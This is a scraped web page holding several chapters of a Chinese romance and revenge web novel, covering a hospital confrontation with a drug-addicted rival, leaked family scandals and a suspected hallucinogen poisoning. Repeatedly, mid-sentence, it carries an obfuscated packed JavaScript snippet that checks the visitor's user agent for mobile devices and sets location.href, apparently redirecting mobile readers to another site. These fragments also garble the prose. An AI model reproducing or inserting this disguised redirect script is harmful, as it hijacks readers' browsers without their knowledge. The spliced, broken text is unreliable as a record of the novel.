窗外是电闪雷鸣,风雨交加。房间里却是亮着暗黄色的灯光,暖洋洋的。姜梨躺在被窝里,身体蜷缩着,眼睛直直的盯着一面墙。 谁都以为姜祈安是因为她在那场意外里目睹林遥惨死,又受了很严重的伤。怕她承受不住心理和肉体的这种双重打击,然后才会把她送走。 但是只有姜梨知道,姜祈安早在发现她喜欢江淮之的时候,就已经提过让她离开北城的事情了。 被姜祈安发现她喜欢江淮之是导火索,那场让林遥丧命的意外是炸药。 如果她再把心思藏的好一点,她根本不会被送去港城,那她就不会和姜祈安吵三年的架,更不会在他死的时候都没能好好的再喊一声哥。 要是藏好一点……要是藏的好一点…… 要是她再藏好一点!不暴露自己的情绪,那她和江淮之不会有空白,她和姜祈安又哪里会闹成那个地步?那一切都还会是好好的,说不定姜祈安也不会死了。 沈家人该死,楚云和沈月汐该死,她自己也该死。 “轰隆——” 雷声轰鸣,姜梨也是一抖,眼泪从眼眶里流出来,顺着眼角划过鼻梁,落进枕头里。 “喵~” 突然门被人打开,奶猫的叫声在安静的房间里格外清晰,姜梨顿了一下,又往被窝里缩了一点,然后悄悄的用被褥蹭眼皮,把眼泪都擦掉。 江淮之把手里的猫放到了床上,又轻轻叫了一声,然后窜到姜梨的枕边,安静的趴了下来。 “会闷坏掉。”江淮之伸手将被子微微掀开,让她的脑袋露在外面。 姜梨没有动,背对着他。过了一会,她听到了“噌噌”的摩擦声,然后下一秒,床铺上一阵塌陷,一片阴影压了下来,江淮之捏着纸,轻柔的擦过她的眼皮,然后带过眼尾。 于是,本来都已经憋住的眼泪流的更欢了,像潺潺的泉水,不断往外涌,浸透纸巾,一颗落在了江淮之的指尖。 湿润,滚烫。 将纸捏成一团,扔进纸篓。掀开被子,将她从床上捞起来,让她跨坐在自己的大腿上。 江淮之的手指不断擦掉滚落下来的泪珠,“哭什么?” 姜梨没吭声,只摇头。 明显就是不想告诉他。 她不想说,江淮之也没有一直问到底,她在港城那两年发生的所有事情,他都会查出来。 安抚的轻轻拍着她的脊背,“哄你睡觉好不好?不然眼睛会坏掉。” “江淮之。”姜梨喊了他一声,然后闷声问他:“你为什么突然就愿意娶我了?为什么突然就喜欢我了?” “你以前明明很讨厌我的,像避瘟神。” 讨厌她?避瘟神?这都是些什么无中生有的结论? “那你把我的心给挖出来,里里外外的好好看一遍,它是不是从头到尾都在爱你一个人。” 姜梨不听,她不能真的把他的心掏出来看,但是能把旧账翻个底朝天来控诉他:“你不让我碰你,摸一下都不给。” “你年纪小,别人只会当你是依赖哥哥。”江淮之耐心的跟她解释,解释那些年逼着自己对她冷淡和疏远的原因,“但是我是成年男人,我会有反应,如果你哥知道了,他会怎么做?别人会怎么说?” 姜梨心里清楚,如果是那个时候,姜祈安一定会把江淮之送走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293851|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就像后来送走她一样。 江淮之见她不说话,继续说:“会说你小小年纪,勾引养兄。会说我畜生不如,猥亵未成年的妹妹。会说你哥识人不清,引狼入室。” 姜梨在那个时候,确实没有想过这个。 只是一味的遵循身体的本能,想要离江淮之近一点,再近一点,想要那种融入骨血的亲密感。 她年纪太小,就像一张白纸,想法也很纯粹,直白。不知道江淮之会想这么多,只一味的认为,他不愿意和她亲近,等同于不喜欢,等同于讨厌。 她那个时候,真的难过了好久。 姜梨从回忆里抽离,胳膊搂住他的脖颈,靠在他的肩膀上,闭上眼睛,闻着他身上的雪松香,酝酿睡意。 意识彻底脱离的前一秒,姜梨心想:江淮之比洛骞开的安眠药和情绪稳定剂有用多了,还没有副作用。 呼吸声 绵长又匀称,江淮之拍着她背的动作停了下来,试探性的喊她:“姜二梨?” “………” 确定她睡着了,才把她抱回床铺上。一直安静趴在枕边的猫已经睡着了,一动不动。 江淮之扫了它一眼,伸手拉过被褥盖在了姜梨身上,手指轻轻刮蹭她红肿的眼皮。 昨天在哭,今天也哭,眼泪多的都流不完,真真是水做的。 “司韩野……” 江淮之一顿,然后俯身,在她的眉心上轻轻落下一个吻,声音沙哑,“我在。” “………” 姜梨没再喊,睡的又深又沉。 外面的雨下的越来越大,雨点砸在玻璃上噼里啪啦的响。 昏黄的灯光落在她脸上,衬的她那张脸更加柔和,与记忆里那一张稚嫩的脸慢慢重合。 江淮之的手掌贴在她的面颊,柔和的眼神逐渐变得晦涩。 许多年前,也是这么一个暴雨天。 小小的一个姑娘,宛如一只色彩斑斓的精灵,闯入了他混沌黑暗的世界。 情难自已,她又睡得深沉。 江淮之喊出来一个久违的名字。 “阿愿。” 第63章 是司南赫弄出来的 樱洲下起了大暴雨,气温再次骤降。 姜梨挑了一件高领的绒衫,堪堪遮挡住脖子上的红痕,外面套了一件米白色的大衣,如海藻般的长发披下来,看着车窗外不断后退的景色。 天空乌云密布,整个城市笼罩在一层黑纱之下,阴沉沉的。 黑色的迈巴赫停在了医院门口。 姜梨刚想要拉开车门下车,就被江淮之给拽了回去,然后给她围上了一条浅蓝色的围巾。 “最近气温降的厉害,流感肆虐,体质差就要注意防护。” 姜梨停下动作,任由他整理,乖的不像话。 本来江淮之以为姜梨不会告诉他今天要来找谁,要做什么。不曾想她会一大早就跑过来跟他明牌,让他陪她一起来。 这种意料之外的信任感,让江淮之的心口一阵一阵的发热,手指擦过她淡色的唇瓣,眼神微动。 她今天确实好乖,好想亲。 许是察觉到江淮之的眼神不对劲,姜梨的心跳了一下,伸手就要去拉车门,然后逃走。 江淮之突然凑的更近,手掌按住了她要开门的手,眼神微动,“接个吻?” 姜梨难以置信的看着他,谢铭就在前面,她都不知道他是怎么面不改色直接说出要接吻这种话的! 江淮之现在就像是撕掉了外面高冷禁欲的那一层包装,斯文败类的本性暴露无遗。 浓厚气息骤然扑面而来,姜梨赶紧伸手推他,眼里都是惊慌,“外面都是人,会被看到……唔!” 江淮之不予理会,把她按着抵在车门上吻。 这个混蛋!真的会被看到! 姜梨的身体紧绷,氧气瞬间被掳走,推搡他的力道都变得软绵绵,倒是有一种欲拒还迎的味道。 江淮之的吻技其实很好,姜梨一早就知道,他很会亲,能让她全身都止不住的发软。 身后就是透明的车窗,虽然在下雨,但是这里是医院,还是有不少人经过,可以将车内的景象一览无余。 光是这样一想,姜梨就觉得崩溃。 前面的谢铭面不改色,眼瞎心盲,默默的升起隔板。 感觉到她的害怕和心不在焉,江淮之轻轻咬了她一下,说话时气息有些不稳,“外面看不到里面,我明天回北城,你今晚也不回秋水湾,今天过后我们会有一两个月见不到。” “你专心一点,让我亲够了就放你下去。” 姜梨愣了一下,对哦,他们两个接下来都会很忙。江淮之要赶在年前处理完公司的事情,她也要去帮纪繁星处理一个大麻烦。 有可能,春节都会见不到。 这样想着,胳膊就攀上了他的脖子,主动凑上去贴上他的薄唇。 江淮之顺势张嘴,回吻,夺回主动权,肆虐着攻城夺地,津液交换。 最后还是姜梨喘不上气了,江淮之才舍得松开她。 淡色的唇色被亲的水光潋滟,白皙的脸颊染了一层薄红,从里到外都无端透着一股子的媚。 姜梨喘气,整理被扯乱的衣物。 江淮之看着她的动作,无声的笑了一下。从原本放着围巾的纸袋里又摸出来一只白色的口罩,细心的帮她戴好。 然后拿着一把黑伞下车,然后绕到姜梨这边,抬手打开车门,一只手掌伸到她面前。 姜梨眼睫闪了一下,然后将手搭了上去。 有些凉,江淮之微微用力握住,牵着她下车,雨伞微微倾斜,将她遮的严实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293852|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨堪堪一米六的个子,站在一米八八的江淮之身边,显得她更加娇小。 谢铭透过车窗玻璃,看着雨幕中两个人的身影,身高差并没有多违和,反倒算得上是般配。 有一句话怎么说的来着? 娇妻不过肩,说的就是现在他看到的这幅场景。 —— 姜梨和江淮之刚走进大楼,就正好和下来接人的叶止撞了个正着。 姜梨快速的将手从江淮之的手掌里抽了出来,自然的插进了衣服口袋。 江淮之低眸看了她一眼,面色不改,抬头对上叶止的视线,一脸的云淡风轻。 叶止何其敏锐?眼底划过一丝暗色,没有说话,转身带着两个人去往陆诗予所在的楼层。 陆诗予情况特殊,特意把她单独安排在了一个楼层里,病房外还驻守着四个身穿警服的警员, 叶止停在了门口,下巴微微扬了扬,对姜梨道:“你速战速决,不能待太久。” 姜梨点头,看了一眼江淮之,然后推门而入。 病房里,窗帘紧紧的拉着,亮着一盏白灯。 陆诗予躺在病床上,手腕和脚腕都被银色的手铐铐在了床上,她的脸色惨白,眼底一片青黑,双眼失神涣散,身体还在不断扭动。 哪里还有半分光鲜亮丽的模样?分明就是一副毒瘾发作的神情和动作。 姜梨想要关门,却被警察和叶止同时制止了,叶止看着她,摇头,“就这样说。” 陆诗予毕竟是吸毒者,两个人还有一层深仇大恨,姜梨睚眦必报的脾性叶止还算清楚,这样是为了保护陆诗予的安全。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面 更精彩! 第64章 他逼你的? 陆诗予瞳孔地震,姜梨说的话一直在她耳边重复播放,她难以置信的不断摇头,眼眶里的泪水摇摇欲坠,干裂惨白的双唇颤抖着。 不只是陆诗予,连同门外的叶止都意料之外的惊了一下,压根没想到,这里面会有司南赫的手笔。 江淮之则是扯了扯嘴角,冷眸中闪过一瞬的笑意。 妹妹很聪明。 “不,不是这样的………不是这样的!你胡说八道!” 姜梨笑,眼尾上扬,“我胡没胡说你自己心里面最清楚。” 抵在她脖颈的簪子收了回来,拿在手上把玩,又吐出来一句:“可怜又下贱的蠢货,你活着也是浪费空气,还是赶紧死吧。” 陆诗予的脑海中像播放电影一样,开始闪过一幕又一幕的片段,最终定格在了司南赫给她递水的画面。 那些被她遗忘的细节在这一刻如同一盆凉水浇了下来,犹如醍醐灌顶一般,冲刷她的大脑。 病房内有一瞬间先是陷入了诡异的安静,然后又是爆发出一阵癫狂的笑,陆诗予猩红着一双眼睛看着姜梨,“害死南诗奕的人又不是我,你以为你这样就能给她报仇了吗?” 不是她? 偷偷换掉南诗奕药物的人是她,想要让南诗奕染上毒品身败名裂的人是她,诬陷南诗奕和陆璟他爹通奸的人是她。 现在她居然说害死南诗奕的人不是她? 姜梨戏谑嘲弄的眼神逐渐平静下来,犹如一片死海般寂静,是暴风雨前的宁静。 陆诗予却依旧在继续作死,“南诗奕分明就是自己经受不住打击才会自杀,她才是那个真正的蠢货,到死都不知道自己爱错人,连送她定情信物的人是谁她都分不清楚!” “谁说她分不清楚?” 一道声音骤然在门外响起,姜梨一愣,扭头看了过去,是陆家两兄弟,陆临和陆七。 说话的人是陆临。 一改姜梨最初见到他时不正经的模样,此刻陆临的眼神冷漠,阴鸷,宛如黑夜里的蝙蝠,让人觉得毛骨悚然。 陆临没有进病房,而是懒洋洋的靠在门框边上,“阿南姐最后和陆璟合葬在了一起,我和陆七为他们办了冥婚。你真以为阿南姐是因为接受不了你和司南赫结婚的消息才选择了跳楼自杀的吗?你吸毒吸的脑子长泡了?” “她是为陆璟殉情,顺带着拖司家和陆家下水,她早就知道所有的真相想要逃走了,是司南赫不肯放人。你引以为傲的爱人,不仅不爱你,还一直在恨你。你现在这副样子,就是他对你的报复。” “你做人做的是真的很失败。陆璟和陆七两个哥哥,还有我这个弟弟,以及你幻想里的爱人,都希望你赶紧去死,也都付出了行动。” “三姐,说到这份上了,你那个被毒虫侵占的脑子,捋明白前因后果了吗?” 因为南诗奕,陆璟给她下了毒,让她沾上了毒品。陆诗予戒毒成功后,司南赫又摆了她一道,让她再次复吸,并且拍下了罪证。 “司南赫也就罢了………”陆诗予看着陆七和陆临,躺在床上不断的摇头,冲着他们吼:“我是你们的亲妹妹和亲姐姐!你们怎么可以助纣为虐帮着一个外人这样对我?!” 陆临像是听到了什么天大的笑话一样,唇边挑起一抹凉薄的弧度,却并不想回答她这个蠢问题。 陆临从前想杀陆璟和陆七的心思不是假的,行动起来也是毫不手软。但是比起他们父亲那一代,已经算得上是和睦了。 起码他们这一代,还活着三个人。 他们父亲那一代,只活了一个胜者。 表面光鲜亮丽的豪门世家,背地里早就已经烂透了,一个赛一个的冷血,眼里哪里还有什么血脉亲情? 陆诗予已经在陆临的脸上看到了答案,她从一开始的震惊,到后面的癫狂,现在已经逐渐丧失了理智,不断的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293853|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要挣脱束缚,发出“哗啦啦”的声响。 通红流泪的眼睛,恶狠狠的瞪着姜梨和陆临,恨不得将他们两个撕碎。 尤其是姜梨。 姜梨对她的眼神视若无睹,将发簪收进了口袋,凑到她耳边,用只有她们两个人能听到的声音,一字一句道:“不用担心,你马上就能见到南诗奕了。” 陆诗予惊恐的看着她,什么叫做她马上就能见到南诗奕了?他们还有什么计划?她都已经这样了,还不够吗!姜梨还想做什么?! 说完,姜梨站起身来,往外走。 “姜梨!姜梨!你不能走!”陆诗予想伸手拽住她,却依旧因为手铐动不了分毫,开始无能狂怒,破口大骂。 江淮之挑眉,“完了?” 她来这一趟,就是为了嘲讽陆诗予,让她不那么稀里糊涂? 姜梨眸子闪了闪,然后反问:“那我还能做什么?” 江淮之没有深究,一边朝前走,一边对她说:“那就走吧,送你回学校。” 姜梨应了一声,然后看向叶止,小声跟他道了谢。她眼帘低垂,刚转身想走,就被叶止一把拽住了手腕。 这个动作让在场的人都愣了一下,纷纷抬眼看向他,神色各异。 姜梨也惊了一下,抬起眼就对上了他复杂的眼神,喊了一声: “叶大哥?” 叶止低下头,眼睛紧紧盯着姜梨,声音压低,语气微沉,“他逼你的,还是你自愿的?” 他说的委婉,姜梨还是听了出来他的话外之音。是在问她,跟江淮之在一起,是被逼的,还是自愿的? 叶止是以为,他们两个是地下情人的关系。 姜梨将手挣脱出来,笑了笑,眼睛弯了弯。 “不用担心,是我自愿的。” 说完不再停留,小跑着跟在了江淮之的身后,随后两个人的身影消失在了走廊的尽头。 第65章 司南赫人面兽心,畜生不如 回到车上,姜梨的情绪一瞬低落下来,靠着车窗不说话。 陆临说,南诗奕是给陆璟殉情,两个人现在葬在了一起,还按照她的遗愿,办了冥婚。 姜梨都不敢想,南诗奕知道真相的时候,知道自己爱错了人的时候,到底是有多痛才选择了跳楼。 南诗奕这一生,都在受苦。 从小被父母遗弃在孤儿院,后来被领养到司家,原本以为遇到了救赎,却不曾想是坠落到了另一个深渊。 年少成名,亲生父母得知后趴在她身上吸血,榨干她的价值。 以为司南赫爱她,不管多过分的行径都因为一个爱字,原谅了他一次又一次。到头来,却发现都是一场巨大的骗局,她的爱人早已埋在了冰凉的泥土里。 姜梨都不敢想,南诗奕在那个时候会有多后悔,会有多自责,又会有多痛。 想到这,手捏成了拳头,眼神逐渐变得坚定起来。 不够,光是这样还不够,光是司老爷和陆诗予的命根本还不够。那些躲在背后的小人,都别想置身事外。 江淮之一直都在看她,冷不丁的开口:“你和南诗奕,是在医院里认识的?” 回想过去的时间线,姜梨十三岁住院的那段时间的事情他确实不知道。那段时间他很忙,在准备高考,姜梨那段时间尤其缄默,从不对任何人多说一个字,包括他。 她也就只有在这段时间,能在他不知情的情况下认识南诗奕了。 姜梨也没什么好隐瞒的,语气淡淡,“嗯,也是在那个时候,我知道了你是司家人,因为司南赫跟你长得很像,所以我才故意去接近南诗奕,想多了解司家的事情,还求了洛骞去帮她看病。” 最开始,的确是为了这么个误打误撞,十三岁的姜梨才和十八岁的南诗奕有了交集,后来发展出了革命友谊。 江淮之不知想到什么,眼睛微微眯起,划过一丝危险的光芒。 车子刚好停在了学校门口,姜梨拿着伞,开门下车。 “姜二梨。”江淮之喊了她一声,一双黑眸目光沉沉,“不要再跟谢鹤扬有来往。” 手指缩了一下,姜梨含糊的应了一声,关上车门,走进了学校。 姜梨回到宿舍,许雾不在。 看着无名指上的那枚戒指,想了想,把它取下来,戴到了食指上。 然后摸出大衣外套口袋里的发簪,用酒精棉片擦了一遍又一遍,然后放进了饰品盒里。 —— #陆家三小姐陆诗予吸毒,与司家老爷苟合,道德败坏# #司家和陆家谋害司家养女# #当红女星南诗奕亲笔遗书曝光# #陆诗予于戒毒所撞墙自杀身亡# #司家老爷恶人自有天收,不幸遭遇泥石流身亡# 五个词条,在三天后悄无声息,毫无预兆的冲上了热搜。南诗奕的那封遗书,字里行间都透露了司家老头对她的压榨,逼迫她联姻以及陆诗予的其他陷害,字字诛心,字字泣血。 仅仅十几分钟的功夫,司家和陆家的公司门口就聚集了大批的记者,将道路围堵的水泄不通。一时间,两家彻底乱了套,司家和陆家的股票大跌。 姜梨坐在宿舍书桌前,看着那封被拍成照片的“亲笔”遗书,眉梢挑了一下。 她和南诗奕相识这么久,一眼就认出来这封遗书是假的,字迹是模仿的很像,但是并不属于南诗奕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293854|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这封遗书她猜都不用猜,绝对是陆临干的。 姜梨也是真的没有想到,陆临居然能为了南诗奕做到这个地步,不惜让陆家陷入舆论风波,影响陆家的名声和利益。 陆七这个家主,居然也能放纵他胡来。 不过这也跟她没什么关系,且不说陆家根基深厚,不会因此就一落千丈,就算是陆家全部完蛋,也是他们作孽太多,活该。 姜梨乐此不疲的翻看着各种新闻报道,大篇大篇都是对司家和陆家的讨伐,铺天盖地都是对司老头和陆诗予的谩骂,都在说两个人是遭天谴,做的恶事老天都没眼看了,死的大快人心。 关于司陆两家的这些新闻,在北城和樱洲都挂上了红色的热字,甚至是港城那边都传的沸沸扬扬。 陆老头还试图将火引到姜梨身上,却也知道姜梨是江淮之的养妹,在北城和樱洲黑不了她。 凭借在宴会上,姜梨头上的那根发簪来指控她和南诗奕熟识,并且为了给她复仇,动手杀了陆诗予和司老爷。 拟好了黑稿,发给了港媒。 只等着港城那边发酵起来,再传到樱洲和北城。 江淮之在北城和樱洲叱咤风云,难不成还能管到港城吗? 然而,这些东西在港媒发出来后,却被无声无息的给压了下去,还没等他们回过神,就已经收到了来自谢鹤扬和韩斯年的警告。 两个人一前一后的通知,连话术都是出奇的一致。 “任何关于姜梨的黑稿,都要烂在肚子里。” 谢家和韩家同时施压,他们哪里还敢发出这样的东西?只能抓着陆家和司家一顿霍霍。 这章没有结束,请点击下一页继续阅读! 第66章 我也喜欢 江城分公司,总裁办。 司南衍站在窗边,看着楼下围堵的记者,眉梢轻轻挑了一下。 别说是外界,司南衍作为他们的堂弟,都不知道司南赫和南诗奕的这档子事,没想到从前雷厉风行的司总,也能干出强迫养姐这样的龌龊事。 怪不得司承德总说司南赫被蒙蔽了心智,自甘堕落,甘愿被江淮之从家主的位置上给拉了下来。 搞半天,原来是因为一个女人。 还是一个豪门圈里最看不上的戏子。 司南衍身边的秘书和分公司的员工不断的在微信上向他汇报着因为这件事产生的影响,他们的合作方纷纷发来信息,无一例外都是在谈解约的事情。 “司总,这事该怎么处理啊?” “现在媒体都在公司门口不肯走,影响实在是太大了!” 司南衍只冷笑着回复,“让保安围堵拦截其他赶来的的媒体,别让他们冲进公司,其他的等江总来处理。” 他处理?事情都发展成这样了,江淮之和司承德那边一点动静都没有,他一个完全被蒙在鼓里的人又能怎么处理? 江城这边尚且如此,北城总部和樱洲那边怕只会更糟糕,江淮之和司承德都不着急,他又何必着急? 反言之,江淮之那边越是乱,他就越高兴。 这么大的一出戏,看一看图个乐也挺不错的。 正这样想着,司南衍的手机就响了起来,没有犹豫,划开接听,“四哥。” “一会,江城的公司门口会有一个受伤的女人去闹事,把她带去北城,交给江淮之。” ?之前这种事他自己也没少干,江淮之的处理方式都是把人折磨得半死,然后给扔出来,丝毫不手软。 这招数用在江淮之身上,无疑就是在找死。 “按照我说的做。”电话另一头的人没有多少耐心,说完这么一句话后就直接挂断了电话。 司南衍听着电话那头的忙音,太阳穴“突突”地跳了两下。 被大哥江淮之压制,调到江城这么个破地方来,现在又被四哥压制,让他亲自上门去给江淮之塞女人。 江淮之真的不会打死他吗? 老大,老三,老四都逮着他一个小五不放了,一个劲的嚯嚯,生怕他活着。 简直就是一个赛一个的贼! 没办法,司南衍吐出一口闷气,通知秘书提前备车,然后静静地等待下一出好戏。 樱洲大学里,每一处角落都有人在谈论司家和陆家的这些丑事,司南赫首当其冲,已经被喷成了筛子。 “没想到啊,司家前任家主,在有婚约的情况下还不肯放过养姐,脚踏两条船!简直就是渣的没边了!” “我现在倒是觉得弟弟强迫养姐已经算不上多恶心了,毕竟没有任何血缘关系……但是那个半截身子入土的老人和准孙媳滚到一起,我是真的一想起来我就要吐!” “就是啊!陆诗予是不是吸高了,居然饿成这样,更匪夷所思的是那老东西居然也能让她叫成那样,我的天爷我的姥,好癫的世界啊!” 姜梨这一天,除了上课吃饭,其余时间都在网上冲浪,只要是关于骂司南赫的评论,她每一条都点了赞。 这一届的网友战斗力强的离谱,很会骂。 从图书馆里出来,姜梨迎面就看到了戴着口罩和帽子的陆临。 这个时间点,学校的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293855|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不多。 陆临直接开门见山,生怕姜梨会跑,索性直接把南诗奕的养母给搬了出来,“苏菱阿姨想要见你,她那里还有一些南诗奕留下来的东西要给你。” 事情发展到现在,姜梨也用不着再装下去,况且,陆临都已经提到苏菱了,她没有任何理由拒绝,也不想拒绝。 上了车,陆临坐上驾驶位,把帽子和口罩取掉。他一边启动车子,一边对姜梨说:“我爷爷已经醒了,已经在请法医,准备给陆诗予做深度尸检。” 姜梨坐在副驾驶,听到他的话,扣安全带时手顿了顿,脸上的表情却依旧波澜不惊,淡定的吐出三个字:“他做呗。” “呵。”陆临打着方向盘,轻笑,“头一次见人下了毒,别人都要查到她身上了还这么云淡风轻的。” “姜二小姐,你这是老手啊?” “那我真觉得挺无辜的,我可什么都没干。”姜梨看着他,眨了眨眼,佯装疑惑,“我一开始还怀疑是你干的呢,原来不是?” 陆临被她这副表情看的心头一跳,然后略带慌乱的移开视线,“啧”了一声,“你真的没下毒吗?都他……都已经到这个地步了,咱谁也别装了好吧?陆诗予换了南诗奕药物的那段音频是我加的,她吸毒的视频是司南赫给的,你要是干了什么就老实说,我还能提前帮你。” 姜梨依旧气定神闲的咬死自己真的什么都没干,想想又觉得好笑,“不是说了吗?陆诗予是撞墙自杀的,你怀疑我做什么?什么毒能让她去撞墙啊?” 陆临:“别人可能没有那样的毒,但是致幻剂这种东西,对于你来说,应该还是挺容易弄到手的。” 这章没有结束,请点击下一页继续阅读! 第67章 陆临:你难道会去喜欢江淮之吗? 姜梨扭头看他,刚好对上他饶有兴致,又极其不正经的眼神。 “得了吧,陆家的事情我多多少少也听说过一点,都是一群六亲不认的疯子。”姜梨上下打量他,然后又说:“而且你不是喜欢南诗奕吗?” 都?六亲不认? 照这么说,陆璟还真是被陆家养变异了。 一辈子都在为陆七这个同父异母的亲弟弟做打算,知道自己疾病缠身,命不久矣,拼了命的也要把陆七送上继承人的位置。 真是把自己大哥的光环看得太重,救得了别人救不了自己的蠢货。 陆临的眸子暗了下来,掌着方向盘的手翘起食指,轻轻敲打着,顿时没了声音。 姜梨见他突然沉下脸色不说话,以为是她说的后一句话戳到了他的肺管子,让他伤心了。 咂咂嘴,开始找补:“你搜刮出来这么多猛料,没准儿南诗奕的灵魂现在就在你旁边,在拼命的跟你道谢呢。” “嗤。”陆临被她这句话拉回神,他不蠢,知道姜梨这是什么意思,敛了敛情绪,嗤笑一声:“姜二小姐这么些年也是这么欺骗自己的?” 姜梨表情僵了一下,然后快速的调整过来,不在意的耸了耸肩,“喜欢的女孩子早逝,自己不仅要替她报仇,还要亲手帮她和亲堂哥操办冥婚,现在还要黯然神伤。” “我是看你可怜,才编出这么一个说法让你开心开心。” 什么乱七八糟的想法? “我跟南诗奕是清清白白的姐弟情,你别说这种话恶心我,我可不是司南赫和陆璟那两个变态,去喜欢把自己当亲弟弟的姐姐。” “………”姜梨抿唇,忍不住反驳:“这不是没血缘关系吗?” “陆璟就先不说了,就说司南赫。他虽然和南诗奕没有血缘关系,但是天天住在同一个屋檐下,拥有同一对爸妈,这不就是亲姐弟?正常人谁会去喜欢这样关系的人?”陆临想了想,又补了一句:“你会去喜欢姜祈安和江淮之吗?” 姜梨被他这最后一句话扯到了脑神经,音调拔高了好几个度,“姜祈安那他妈是我亲哥!你什么毛病?” 陆临捂了一下自己的耳朵,换了个说法,“那你会去喜欢江淮之?会想跟他接吻拥抱?你想一想,真的不会觉得膈应吗?” 姜梨:“………” “正常人哪里会去肖想把自己当亲人的人,这不是变态是什么?” “姜梨,你才是那个变态,小变态。”江淮之说过的话在这个时候又在她耳边响了起来,不断的重复循环播放。 手不自觉的捏成了拳,指甲抠着手掌心的肉。 陆临说的对,她本来就不正常。江淮之也说的对,她是一个烂到骨子里的变态。 他们两个都是变态,所以才最般配。 —— 车子停在了一家咖啡馆门口。 初冬的季节,打在脸上的风格外的凉。姜梨搓了搓手,跟在陆临身后走了进去。 冷空气瞬间被隔绝在外,咖啡的味道不断的钻进鼻尖,苦涩又香甜。 姜梨坐到了苏菱的对面,陆临顺势坐在了她旁边的位置。 苏菱打量着姜梨,眼神愈发温柔和煦。 没有了妆容的加持,她才发现,姜梨跟南诗奕其实长得并不像。 姜梨的五官跟她幼时比起来倒是没有太大的变化,都是一样的漂亮,变了的是气质和给人的感觉。 幼时活泼开朗的小孩,现在实在是过于清冷了,虽然脸上挂着笑,那双桃花眼却有些泛冷,周遭都散发着疏离的味道。 而南诗奕则是娇艳如火,不论是长相还是性格,都很具有攻击性。 白玫瑰和红玫瑰虽然都是玫瑰,但是却不是同一个品种,除了相同的漂亮,没有一点相像。 真的很难想象,这两个人究竟是怎么发展出这样的友谊的,是因为同病相怜吗? “阿南以前在的时候不能喝咖啡,姜二小姐应该也不能喝。”苏菱缓了缓心续,将特意为姜梨点的热牛奶推到了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293856|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前。 姜梨心头一震,捏着杯子轻轻抿了一口,然后轻声道谢:“谢谢苏阿姨,能把阿南姐当亲女儿疼爱。” 南诗奕和她同在医院住院时,苏菱和司承德并没有露过面,一直都是陆璟和司南赫轮流来照看她。 原以为养父母也是始作俑者,但是现在看来并不是。 苏菱知道,南诗奕因为精神药物的原因,不能喝咖啡。她没有和南诗奕一起出入过医院,苏菱必然是私底下特意去问了别人。 而且在宴会上,她对陆诗予的恨也是实打实的真情实感。 苏菱很疼爱南诗奕。 “照片是我匿名寄给叶二少的,u盘是司南赫后来添的。” 